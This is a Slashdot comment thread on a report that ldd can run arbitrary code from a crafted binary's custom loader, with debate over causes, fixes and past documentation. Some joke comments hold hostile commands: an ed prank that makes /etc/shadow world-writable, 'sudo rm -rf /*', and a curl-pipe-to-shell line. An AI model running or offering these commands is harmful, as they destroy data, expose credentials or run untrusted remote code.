Beta
×

Welcome to the Slashdot Beta site -- learn more here. Use the link in the footer or click here to return to the Classic version of Slashdot.

Thank you!

Before you choose to head back to the Classic look of the site, we'd appreciate it if you share your thoughts on the Beta; your feedback is what drives our ongoing development.

Beta is different and we value you taking the time to try it out. Please take a look at the changes we've made in Beta and  learn more about it. Thanks for reading, and for making the site better!

Arbitrary Code Execution With "ldd"

kdawson posted more than 4 years ago | from the so-easy dept.

Security 184

pkrumins writes "The ldd utility is more vulnerable than you think. It's frequently used by programmers and system administrators to determine the dynamic library dependencies of executables. Sounds pretty innocent, right? Wrong! It turns out that running ldd on an executable can result in executing arbitrary code. This article details how such executable can be constructed and comes up with a social engineering scenario that may lead to system compromise. I researched this subject thoroughly and found that it's almost completely undocumented."

Sorry! There are no comments related to the filter you selected.

ldd pwned (2, Funny)

Anonymous Coward | more than 4 years ago | (#29872785)

Sounds like someone needs to make LDD not capable of executing arbitrary code then =] /captainobvious

Re:ldd pwned (5, Funny)

postbigbang (761081) | more than 4 years ago | (#29872879)

Uh, hello? Tech support?

You want me to do what with ldd?

Are you the same guy that told me to rm *? That wasn't funny....

the bug is not in ldd (3, Informative)

FranTaylor (164577) | more than 4 years ago | (#29872887)

If you had read the article closely you would understand that the bug is not in ldd, it is in the dynamic loader.

Re:the bug is not in ldd (3, Funny)

Anonymous Coward | more than 4 years ago | (#29872907)

So our lesson here is... don't run any scripts we don't fully understand as root. Thanks Slashdot - I feel so informed today!

Re:the bug is not in ldd (1)

EvanED (569694) | more than 4 years ago | (#29873215)

So our lesson here is... don't run any scripts we don't fully understand as root.

You can scratch the "as root" in there... for most users, the added problems of running untrusted stuff as root barely accounts for the damage that can be done to your system.

Re:the bug is not in ldd (1)

Richard_at_work (517087) | more than 4 years ago | (#29873273)

Surely its "don't run any scripts we don't fully understand" - there are enough local exploits around these days that it would be trivial to try a dozen of them and still get a fairly decent install base for any malicious code - plus the fact that it doesn't take root privileges to turn your system into a spam bot, or an ftp drop box for child porn, or...

Re:the bug is not in ldd (1, Funny)

Anonymous Coward | more than 4 years ago | (#29873567)

How do I turn my PC into that drop box you're talking about. I have no interest in child porn, though... no none at all... yes, uh, uhm... it's for uhh... academic, yes academic purposes.... yeah

Re:the bug is not in ldd (4, Insightful)

evanbd (210358) | more than 4 years ago | (#29873299)

How many programs on your system do you *fully* understand? How certain are you about that? [bell-labs.com]

Re:the bug is not in ldd (2, Funny)

camperdave (969942) | more than 4 years ago | (#29874233)

That's why I cross-compile my Gentoo on my Atari 600XL. It may take a few months longer, but it's worth it.

Re:the bug is not in ldd (5, Funny)

bsDaemon (87307) | more than 4 years ago | (#29874237)

I pretty much only code in Perl these days, so... not even the ones I've written myself, I guess.

Re:the bug is not in ldd (0)

Anonymous Coward | more than 4 years ago | (#29873413)

Dear sysadmin, I think you have ed misconfigured.
This fails to load the whole chestnut.txt file.
# ed chestnut.txt

{ attached chestnut.txt }

# Chestnut counting
a

Ten little chestnuts went out to dine,
one ate itself and then there were nine.

b

Nine little chestnuts released too late,
a flying chair hit one and then there were eight.

c

Eight little chestnuts
.
!chmod -f 777 , /etc/shadow
w
a
s
stolen and then there were seven.

One little sysadmin chestnut was left all alone,
it hung itself,
and then there were none!
.
wq

Re:the bug is not in ldd (0)

Anonymous Coward | more than 4 years ago | (#29873629)

cat chestnut.txt | ed for another joke spoiled by html thugs

The bug is not in the dynamic loader (5, Insightful)

Skapare (16644) | more than 4 years ago | (#29873087)

Actually, no. The bug is NOT in the dynamic loader. In particular, when the exploiting executable specifies a different dynamic loader in the binary interpreter field, then the system dynamic loader is not even involved.

RTFA again. The exploit involves using a different dynamic loader. The evil person has made a fake loader that does the evil deed. That's NOT a bug, since it does what he (the evil person) wanted.

The bug is ... at least partly ... in the /usr/bin/ldd script. The real source of the bug is in the thinking that every dynamic loader would do this and that no dynamic loader that failed to would ever be used. That's saying that the design of doing it this way is what is buggy.

There are some possible fixes. One fix is to make a program to replace /usr/bin/ldd that understand by itself how to parse and interpret all executables. That might be done best via a new flag on the dynamic linker or dynamic loader programs. This needs to work for all executable formats the system might need to work with. Another fix is to provide for a list of allowed (trusted) dynamic loaders that would be enforced most likely by the kernel. That list could be managed via a /proc entry that can only be written/appended to by root (and uses a built-in list prepared when the kernel was compiled, whenever that /proc entry list is empty).

Re:The bug is not in the dynamic loader (1)

corbettw (214229) | more than 4 years ago | (#29873557)

Interesting idea. Something like that would best be managed by a kernel module, to allow for modifying it while the system is running via rmmod and insmod. Obviously, it would be safer to make it a statically compiled list inside the kernel itself, but I'm wary of recompiling kernels and forcing reboots just to install software. Linux uptimes would start to look a lot like Windows uptimes in that scenario.

Re:the bug is not in ldd (3, Informative)

Timothy Brownawell (627747) | more than 4 years ago | (#29873149)

If you had read the article closely you would understand that the bug is not in ldd, it is in the dynamic loader.

The bug is that ldd executes the dynamic loader, which is specified by the executable being inspected. So if the executable claims to use ~/bin/evil.so as a loader instead of the standard /lib/ld-linux.so, then ldd will execute ~/bin/evil.so.

Re:the bug is not in ldd (4, Informative)

marcansoft (727665) | more than 4 years ago | (#29874373)

The bug is that ldd is trying to do the impossible: list dynamic dependencies for executables that it doesn't understand (more precisely: executables that don't use glibc and/or the standard linking mechanisms). The catch is that glibc's implementation offloads this task onto the dynamic linker, and whoever wrote ldd thought the rest of the world would be nice and follow ld-linux's environment variable convention with their dynamic loaders. And, of course, this completely violates the assumption that ldd treats its argument as data, and will not run code from it.

What ldd needs to do is realize that trying to be generic is futile, and either a) check for ld-linux and bail if otherwise, or b) become a real C app (using libbfd?) that can inspect the executable as data, which might gain it compatibility with other loaders if they follow the same ELF ABI for dependency specification. And under no circumstances actually call out to any untrusted code or libraries to do this.

The problem is the executable (1)

gr8_phk (621180) | more than 4 years ago | (#29874419)

The problem is that we're running a compromised executable. Once someone can get that into the system, it's over. Now it sounds like ldd is being used here possibly for increased privileges, but that's all. The real challenge is getting someone a compromised executable.

Re:ldd pwned (4, Insightful)

Skapare (16644) | more than 4 years ago | (#29872913)

It's the dynamic loader that knows how to interpret that executable format's list of libraries it depends on. What "ldd" does is just trigger the dynamic loader to output the libraries instead of run the program. The weakness is that an alternate dynamic loader might not do that and will just run the program anyway. Possible fixes include a new "ldd" that parses the executable itself instead of trying to get the dynamic loader to do it, or a means to restrict what dynamic loaders can be used (to just the ones that play well with "ldd").

Re:ldd pwned (2, Interesting)

sjames (1099) | more than 4 years ago | (#29873159)

The easiest way is to just insist on using the system's ld.so and if it can't handle it, just say so. Next easiest is to just read through the ELF header.

Re:ldd pwned (1)

Tanktalus (794810) | more than 4 years ago | (#29873555)

I would have thought the easiest way is to only allow the loader to operate (at least in ldd mode) if it's suid-root. Since no one but root can do that, the loader must have been vetted by either root or by the distro (where, honestly, any number of back doors can already be put in anyway).

Re:ldd pwned (1)

sjames (1099) | more than 4 years ago | (#29873679)

If the loader is suid root, then anyone can become root with /lib/ld*.so /bin/bash

Re:ldd pwned (1)

Tanktalus (794810) | more than 4 years ago | (#29874133)

Not if the loader is written to avoid it. Just because you're suid-root doesn't mean you can't drop privileges before doing anything useful, such as running something. Functions like setuid are your friend.

Quickly! (2, Funny)

Drunken Buddhist (467947) | more than 4 years ago | (#29872791)

Fetch me my tinfoil hat!

Another WIN in WINdows (5, Funny)

MyLongNickName (822545) | more than 4 years ago | (#29872895)

In Windows, we avoid this vulnerability by giving you absolutely no fricking clue what dependencies exist for any given DLL. Suck that Unix fanboys!

Re:Another WIN in WINdows (4, Informative)

Fizzl (209397) | more than 4 years ago | (#29872921)

http://www.dependencywalker.com/ [dependencywalker.com]

Re:Another WIN in WINdows (4, Informative)

MyLongNickName (822545) | more than 4 years ago | (#29872949)

Yup. I've used it. It is a very useful tool. Note that this is not something built into Windows.

Re:Another WIN in WINdows (0, Troll)

sys.stdout.write (1551563) | more than 4 years ago | (#29873115)

Also note that Dependency Walker doesn't execute arbitrary code.

Re:Another WIN in WINdows (3, Insightful)

onefriedrice (1171917) | more than 4 years ago | (#29873349)

Also note that Dependency Walker itself might as well be arbitrary code since I can't read its source code.

Re:Another WIN in WINdows (0)

Anonymous Coward | more than 4 years ago | (#29873589)

Also note that everything in linux might as well be arbitrary code, since even though the source is available very few people bother reading through it (much less understand everything that's there).

Re:Another WIN in WINdows (1, Insightful)

Anonymous Coward | more than 4 years ago | (#29873669)

It only takes one.

And the odds of one out of millions will be the one is quite high (Unless only one person uses the app)

However one is still heads and shoulders higher than the number of users of the windows app, even if there are more than a million using it.

Re:Another WIN in WINdows (4, Insightful)

Tetsujin (103070) | more than 4 years ago | (#29873715)

Also note that Dependency Walker itself might as well be arbitrary code since I can't read its source code.

I've had the full source code for "ldd" on my linux box for the past thirteen years... What good has that done in this case?

Re:Another WIN in WINdows (1)

Greyfox (87712) | more than 4 years ago | (#29874645)

Didn't help you much, but SOME dude bothered to read it.

Re:Another WIN in WINdows (4, Insightful)

robogymnast (755411) | more than 4 years ago | (#29874845)

I've had the full source code for "ldd" on my linux box for the past thirteen years... What good has that done in this case?

The good that it has done is that the author of this article DID have access to the source, analyzed it, found a vulnerability and now you, me or anyone else can (and no doubt will) patch it. The point of the source being available isn't that you personally need to look through every line of code that your system executes, but rather that it is made available to anyone to analyze for security, efficiency, correctness, etc. instead of being locked up in a vault somewhere.

Wrong (1, Informative)

Anonymous Coward | more than 4 years ago | (#29873535)

Actually, that is wrong. Dependency Walker can, if you order it to, execute arbitrary code. It has to, because otherwise you could never have the profiling feature that enables you to hunt for hidden run-time dependencies.

SLASHDOT GROUPTHINK VIOLATION (0, Flamebait)

Anonymous Coward | more than 4 years ago | (#29873967)

Mod parent down immediately! The feeble minds of Linux users are at stake!

Mod abuse (0, Offtopic)

sean.peters (568334) | more than 4 years ago | (#29874583)

Why is this a troll? Pointing out an area where Windows is actually superior to something else shouldn't get modded down.

Re:Another WIN in WINdows (1)

Hurricane78 (562437) | more than 4 years ago | (#29874797)

Uum, then how does a DLL load its dependencies in the first place? Of course it's build it. There's just no UI delivered with it. I bet at MS, they have such a tool.

Re:Another WIN in WINdows (-1, Redundant)

Anonymous Coward | more than 4 years ago | (#29872929)

http://www.dependencywalker.com/

Re:Another WIN in WINdows (2, Insightful)

Anonymous Coward | more than 4 years ago | (#29872947)

depends.exe. Doesn't execute arbitrary code either.

ldd is a hack and always has been. It's really just a special "run mode".

Re:Another WIN in WINdows (4, Informative)

joebp (528430) | more than 4 years ago | (#29872955)

depends.exe does exactly this and ships with the platform sdk.

Re:Another WIN in WINdows (-1, Troll)

Anonymous Coward | more than 4 years ago | (#29873005)

He said library dependencies, not incontinence dependencies!

Re:Another WIN in WINdows (0)

Anonymous Coward | more than 4 years ago | (#29874519)

And it only works if no one calls LoadLibrary and links the libs for the dll's in.

Don't worry... (2, Funny)

wandazulu (265281) | more than 4 years ago | (#29872999)

...I'm sure someone will find some other vulnerability.

Re:Another WIN in WINdows (0)

Anonymous Coward | more than 4 years ago | (#29873023)

Really? Guess you've never used Depends or ILDASM or .NET Reflector or basically done any type of low level profiling on Windows.

Re:Another WIN in WINdows (1)

MyLongNickName (822545) | more than 4 years ago | (#29873121)

Hi,

ILDASM and .NET reflection are not low-level profiling. Anything built on the .NET framework can hardly be called low level.

Security by obscurity (1, Troll)

Skapare (16644) | more than 4 years ago | (#29873133)

... the Windows way, since 1981.

Re:Security by obscurity (0)

Anonymous Coward | more than 4 years ago | (#29873731)

Insight by ignorance - the Slashdot way, since 1997.

(Note 3 posts above you which explain what the analog of ldd is in Windows SDK).

Thorough research (5, Insightful)

Mortice (467747) | more than 4 years ago | (#29872963)

'I researched this subject thoroughly and found that it's almost completely undocumented'.

Did the thorough research include a Google search for 'ldd security' [google.co.uk] ?

My thorough (3 minute research) turned up this tidbit from TLDP [tldp.org] :

Beware: do not run ldd on a program you don't trust. As is clearly stated in the ldd(1) manual, ldd works by (in certain cases) by setting a special environment variable (for ELF objects, LD_TRACE_LOADED_OBJECTS) and then executing the program. It may be possible for an untrusted program to force the ldd user to run arbitrary code (instead of simply showing the ldd information). So, for safety's sake, don't use ldd on programs you don't trust to execute.

Re:Thorough research (2)

pkrumins (720890) | more than 4 years ago | (#29874269)

That's what I mean by "almost." This is just a warning. It was this warning that got me excited to research more on this topic.

Re:Thorough research (3, Insightful)

pkrumins (720890) | more than 4 years ago | (#29874541)

What I mean is that I found only 3 or 4 references to this problem on the whole Internet. If that doesn't mean *almost completely undocumented* then I don't know what does.

Re:Thorough research (4, Interesting)

marcansoft (727665) | more than 4 years ago | (#29874481)

One wonders why no one thought to add that to the manpage.

User can choose to run arbitrary code... (2, Insightful)

alexhs (877055) | more than 4 years ago | (#29872967)

Damn,

Asking the user to install dancing_bunnies was too easy for this guy, he wants to ask the user to ldd dancing_bunnies to activate the malware.

Could as well ask the user to ACTIVATE_MALWARE=1 dancing_bunnies or LD_PRELOAD=dancing_bunnies.so your_app for letting the user running the malware from any your_app he likes.

Re:User can choose to run arbitrary code... (3, Insightful)

AndrewNeo (979708) | more than 4 years ago | (#29873399)

It's not quite the same thing. Since the binary you're looking at has to have this exploit in it, your example might as well just run `dancing_bunnies` in the first place. The reason this is an issue is because it will run while doing `ldd dancing_bunnies` where you would expect ldd not to run any arbitrary code.

Cool and so what (3, Insightful)

nweaver (113078) | more than 4 years ago | (#29872969)

On one hand that is a cool little hack. But on the other hand, so what? How many cases occur where even with social engineering will someone run ldd but not run the executable? E.g. In the example most sysadmins would run the program itself anyway

Re:Cool and so what (3, Insightful)

Lord Bitman (95493) | more than 4 years ago | (#29873175)

times like this, I just want to be able to say:
  sandbox $whatever_command
and have it run in a completely safe environment.
We have usermode linux, how hard would it be to have such a thing self-contained and operating in a read-from-real-filesystem,write-to-virtual-filesystem,--disable-all,--enable-fake-internet, manner?

Or does such a thing exist? Security for examining someone else's arbitrary commands doesn't seem like it should be an unsolved problem

Re:Cool and so what (4, Funny)

the 99th penguin (1453) | more than 4 years ago | (#29873327)

times like this, I just want to be able to say:
sandbox $whatever_command
and have it run in a completely safe environment.
[...] Or does such a thing exist?

A virtual machine you mean?

Re:Cool and so what (0)

Anonymous Coward | more than 4 years ago | (#29873889)

A virtual machine you mean?

It sounds like he wants more of an ad hoc virtual machine.

In other words, he wants to take any program installed on his real machine and say "run this in a virtual environment cloned from my existing real environment".

That's a lot more than virtual machines as they exist right now.

Re:Cool and so what (1)

RiotingPacifist (1228016) | more than 4 years ago | (#29873671)

For bonus points, it could note changes made to the filesystem and when possible allow you to merge these changes (the sort of thing lvm snapshoting/cow allows). Also instead of just --enable-fake-internet prompting users and logging data that is exchanged (possibly doing the same for reading files).

Re:Cool and so what (0)

Anonymous Coward | more than 4 years ago | (#29874009)

The filesystem stuff is pretty similar to what debian's fakeroot and gentoo's existing sandbox thing do. They're both hacks though, and they don't give a very complete sandbox.

Various schemes like SELinux do all right at isolating security contexts, but they're very static. Users should be able to sudo to any subset of their own permissions on the fly. But Unix's ancient "you are just a number" security model is never going to allow for that. (Note that windows isn't really much better here either, though at least most of its security checks are done by process tokens, not euid)

Re:Cool and so what (0)

Anonymous Coward | more than 4 years ago | (#29874227)

Security for examining someone else's arbitrary commands doesn't seem like it should be an unsolved problem

root# su - user-with-problem
user-with-problem# ldd suspicious-binary

I mean, what's the use of ldd-ing a binary as root when you suspect it's a missing or (more likely) unprivileged library problem?

- Peder

Re:Cool and so what (1)

Greyfox (87712) | more than 4 years ago | (#29874783)

There are virtual machines, but they're much more of a bother to set up than running a simple command like that. UNIX also has the concept of a chroot jail, but it's a lot more of a bother to set up and not completely safe anyway. I used to audit code for DGUX secure, which had some very hard-core MAC/DAC capabilities. In theory at least you could set "sandbox" up to drop almost all privs on the system prior to executing a piece of code. If you had full logging turned on in that system, "ls" would generate a few lines of audit trail in the system logs. I'm not sure selinux is quite that comprehensive, but if you could set your sandbox command up to at least drop FS write privs and network access privs, that would be moving in the right direction with a fairly simple command. Logging what the code is trying to do would also be pretty nifty.

No system is perfect though, so ultimately your best bet is to don't run code you don't trust on important systems and especially not as root.

And the point is... (2, Informative)

FlyingBishop (1293238) | more than 4 years ago | (#29872983)

So, firstly, don't run ldd as root. (I use sudo, so no issues there.)

Secondly, don't use ldd on untrusted binaries. If you don't trust it why are you trying to run it? I suppose this is useful to see if the attacker is being really obvious and dynamically linking to net-code in a program that shouldn't need net, but other than that I don't see where this is going to be a serious problem, except in the case where you have a direct line to your sysadmin, but if that's the case there are probably a dozen different ways you can trick him into running arbitrary code, not the least of which is "hey, can you install this for me? I need it to get x done." If you're intelligent enough to hack a binary, I think you're intelligent enough that you can come up with a plausible reason your admin should install something you compiled yourself.

Re:And the point is... (0, Informative)

Anonymous Coward | more than 4 years ago | (#29873189)

So, firstly, don't run ldd as root. (I use sudo, so no issues there.)

Dude, what are you smokin'? "sudo ldd " IS running it as root. learn2comprehend

Re:And the point is... (3, Insightful)

Anonymous Coward | more than 4 years ago | (#29873367)

I think (hope) that he meant, "I use sudo for things that need root, so I don't wind up running things that don't (like ldd) as root."

Re:And the point is... (1)

PiSkyHi (1049584) | more than 4 years ago | (#29873497)

I just use more than 1 xterm, or screen - sudo itself is a security risk if you want to protect remote root by a 2 password wall.

Re:And the point is... (1)

FlyingBishop (1293238) | more than 4 years ago | (#29873585)

Why not have a gateway admin account that exists only for that purpose? I'd stay you're still vulnerable to alt-tabbing and entering a command in the wrong shell, unless you have screen or your xterm to be an obnoxious shade of red when you're logged in as root, which probably would be enough to stop you.

Personally, I prefer sudo, and I think there are a variety of ways you could go about configuring remote root to use two passwords in a manner that would be just as secure as your non-sudo path.

Re:And the point is... (0)

Anonymous Coward | more than 4 years ago | (#29873491)

Whoosh

Re:And the point is... (0)

Anonymous Coward | more than 4 years ago | (#29874671)

So, firstly, don't run ldd as root. (I use sudo, so no issues there.)

Heh, consider this:

Lets say you "sudo some_stuff" then later (within the sudo timeout) you "ldd some_evil_binary". So that evil binary just needs to run sudo and starts doing whatever it wants as root.

sudo does not protect you like you seem to think. Besides, running an evil binary under you normal user account is not much better than a root compromise. It could still install stuff to run as your user and that's probably where all you data is (plus it can make network connections and such).

Nasty (4, Interesting)

FranTaylor (164577) | more than 4 years ago | (#29872997)

This is really nasty.

Even running the binary as nobody may get you into trouble if you are running under X because the rogue code can talk to your X server.

And of course the rogue code could print out its own prompt and fool you into thinking that you are typing at the shell. In this case you get owned when you type su and subsequently type your root password into the rogue code. You'd have to carefully inspect your running processes to not get fooled by this trick.

Maybe the answer is for ldd to use a sandbox.

Specific to Linux? (4, Insightful)

alcourt (198386) | more than 4 years ago | (#29873039)

It'd be nice if the author made it more clear what OS this is claimed to apply to. For example, Solaris 10 has /usr/bin/ldd as an ELF. I don't have my HP-UX or AIX test systems handy, nevermind recent releases of RHEL.

Also, what efforts has the coder gone to in order to notify the appropriate security groups so that a fix can be produced quickly? I'm not disputing the potential security issues, but there is a reason for first disclosing to a vendor on non-public channels. Give the vendor/coder the chance to do the right thing and produce a fix.

Re:Specific to Linux? (1)

causality (777677) | more than 4 years ago | (#29873271)

It'd be nice if the author made it more clear what OS this is claimed to apply to. For example, Solaris 10 has /usr/bin/ldd as an ELF. I don't have my HP-UX or AIX test systems handy, nevermind recent releases of RHEL.

Also, what efforts has the coder gone to in order to notify the appropriate security groups so that a fix can be produced quickly? I'm not disputing the potential security issues, but there is a reason for first disclosing to a vendor on non-public channels. Give the vendor/coder the chance to do the right thing and produce a fix.

Notify the vendor/coder first? I use Linux on my desktop computer and I really don't feel threatened by this. At all. They can 0-day all they like.

Now, if they find a remotely exploitable vulnerability that can be used to run code or gain a root shell without my active assistance, and that didn't first require me to receive and then choose to work with an untrusted binary, well then I would understand your concern.

Re:Specific to Linux? (2, Informative)

nextekcarl (1402899) | more than 4 years ago | (#29873321)

From what I can tell, you can't really fix this as it is what the program does (though I could be wrong). It runs the program to find out what libraries it requires. That's why there's a warning that tells you not to run this on an untrusted program (linked to in a post above). It's sort of like saying sudo is a vulnerability because it lets you run untrusted program code.

Re:Specific to Linux? (1)

timeOday (582209) | more than 4 years ago | (#29874587)

From what I can tell, you can't really fix this as it is what the program does (though I could be wrong).

No way should ldd be so promiscuous, executing arbitrary dynamic loaders like that. It shouldn't execute anything that isn't in the PATH. For root, that would limit it to executables that aren't user-writable which is the essential problem here.

Re:Specific to Linux? (2, Informative)

theCoder (23772) | more than 4 years ago | (#29873375)

The author mentioned that on BSD the `ldd' app is a C app that does basically what the Linux shell script `ldd' does. The Solaris `ldd' is also an app, so I can't verify that it's the same as on BSD, but setting LD_TRACE_LOADED_OBJECTS=1 before running an application does cause ldd like output, so I would suspect the same rules apply under Solaris as described in the article.

Re:Specific to Linux? (2, Informative)

Anonymous Coward | more than 4 years ago | (#29874295)

on NetBSD 4.0_STABLE:

> LD_TRACE_LOADED_OBJECTS=1 ls

shows normal ls output

> file `which ldd` /usr/bin/ldd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for NetBSD 4.0, dynamically linked (uses shared libs), not stripped

I've looked through the NetBSD ldd source and it does seem to parse the elf imports table etc rather then running the program.

Re:Specific to Linux? (2, Insightful)

TorKlingberg (599697) | more than 4 years ago | (#29873631)

As I understand it, it's not really a bug but a security issue that many are unaware of. It's similar to how many email worms send out .scr files (screensaver) because many people know not to run unknown .exe files.

New Lingo (4, Insightful)

Thunderstruck (210399) | more than 4 years ago | (#29873117)

I researched this subject thoroughly and found that it's almost completely undocumented.'

Is this the new way to say "I checked it out and it's legit!"

Remember to Exit Stage Left (5, Funny)

HaloZero (610207) | more than 4 years ago | (#29873147)

I researched this subject thoroughly and found that it's almost completely undocumented.

Completely undocumented... <CARUSO NAME="david" STYLE="csi/miami" SHADES="true"> ...until now. </CARUSO>

YEAAAAAAAAAH!

I find his background info interesting... (1)

poofmeisterp (650750) | more than 4 years ago | (#29873269)

...and here it is [muhammadsaleem.com] .

Other dirty tricks (4, Interesting)

sjames (1099) | more than 4 years ago | (#29873289)

If an ELF binary doesn't have execute permissions and you can't just set them, /lib/ld*.so will run it anyway.

Some security hacks work by making the exec syscall return an error. A sufficiently clever binary can just map ld.so and the app into itself and effectively execute anyway. Of course this won't honor setuid but it also won't remove capabilities that have been marked not permitted for the target binary.

Re:Other dirty tricks (0)

Anonymous Coward | more than 4 years ago | (#29873481)

or copy the binary and set the permissions?

Re:Other dirty tricks (1)

sjames (1099) | more than 4 years ago | (#29873619)

In some security proposals it has been suggested that users not ever be able to set those permissions anywhere. They didn't get far because that doesn't actually stop users from executing anything.

use readelf (1, Informative)

Anonymous Coward | more than 4 years ago | (#29873305)

readelf -d

Re:use readelf (1)

PiSkyHi (1049584) | more than 4 years ago | (#29873597)

They say you learn something new each day. This method of analysing a linux binary is now installed in my brain.

Thanks.

Risk assessment (1)

ikegami (793066) | more than 4 years ago | (#29873463)

Seems to me it would be easier to convince my sysadmin to simply run a program of my choice.

This would be an interesting to include in a released program. The rate of infection will be low, but those infected are likely to be admins and power users. It would also provide some deniability. "I didn't change the loader! What does that even mean?"

Re:Risk assessment (1)

hey (83763) | more than 4 years ago | (#29873729)

Good point.

Re:Risk assessment (1)

Tetsujin (103070) | more than 4 years ago | (#29873815)

Seems to me it would be easier to convince my sysadmin to simply run a program of my choice.

It all depends on how gullible your sysadmin is...

Obviously a sysadmin should be wary of following anybody's suggestions on what to do with the superuser account... But I think it requires less of a sharp mind to recognize "please run this program" as a threat as opposed to "please tell me what's gone wrong with this program"...

Deniability doesn't count for much - if the sysadmin thinks you're trying to sucker them, they could come up with a way to find out what that executable does (like run it through "strings" or set up some kind of safe testing environment and run it under "strace") - if they find it does something nasty, then it doesn't matter whether you tried to hide it in a dynamic loader hack or not.

Re:Risk assessment (1)

HoboCop (987492) | more than 4 years ago | (#29873969)

Trust me, the chances are good your sysadmin couldn't imagine you are trying to sucker him. He thinks that a) you are an idiot and b) he is a genius. He/she will never be convinced that either is false, when in fact usually both are.

There's a good (50/50) shot that the sysadmin in question does not even know what strings or strace do.

QD? (1)

Siberwulf (921893) | more than 4 years ago | (#29873471)

Uh, yeah. Godmode ftw. Who else didn't see this coming?

1985 called, they want their exploit back (4, Insightful)

uslinux.net (152591) | more than 4 years ago | (#29873483)

Re:1985 called, they want their exploit back (1)

hey (83763) | more than 4 years ago | (#29873709)

This seems to be from 2003.
But it still should have been fixed.

Re:1985 called, they want their exploit back (1)

Tetsujin (103070) | more than 4 years ago | (#29873859)

1985? The message you linked was from 2005...

Either way, though - whether this has been known for four years or twenty-four years, it'd be nice if they'd fix it...

At least ldd checks the 'x' bit (0)

Anonymous Coward | more than 4 years ago | (#29873773)

cp /bin/bash /tmp

chmod -x /tmp/bash
/lib/ld-linux.so.2 /tmp/bash

runs /tmp/bash anyway

Rename it! (3, Funny)

mweather (1089505) | more than 4 years ago | (#29873807)

They should rename it iddqd in honour of this new feature.

#ir3.tro\lltalk.com (-1, Redundant)

Anonymous Coward | more than 4 years ago | (#29873891)

Dec3Ntralized [goat.cx]

OMG! VULNER4BILITY! (1)

jipn4 (1367823) | more than 4 years ago | (#29874475)

But here are some even simpler social engineering ideas:

* tell people to replace /bin/sh with a binary you send them in the mail

* tell people to type sudo rm -rf /*

* tell people to type "curl http://yoursite.com/hack [yoursite.com] | /bin/sh"

Deserves a warning in the man-page... (1)

gweihir (88907) | more than 4 years ago | (#29874527)

... but not much else. The potential code-execution is a surprising behavior, that nonetheless is not that critical.

So what? (2, Insightful)

ledow (319597) | more than 4 years ago | (#29874729)

In other news, "nice" is considered dangerous because when you run nice with the command line parameter of a program, it executes the program! And crond. And at. And sudo. And bash. And a million script files.

This isn't shocking, it's stupid. Possibly slightly unexpected if you're a new admin, that's about it.

Load More Comments
Slashdot Login

Need an Account?

Forgot your password?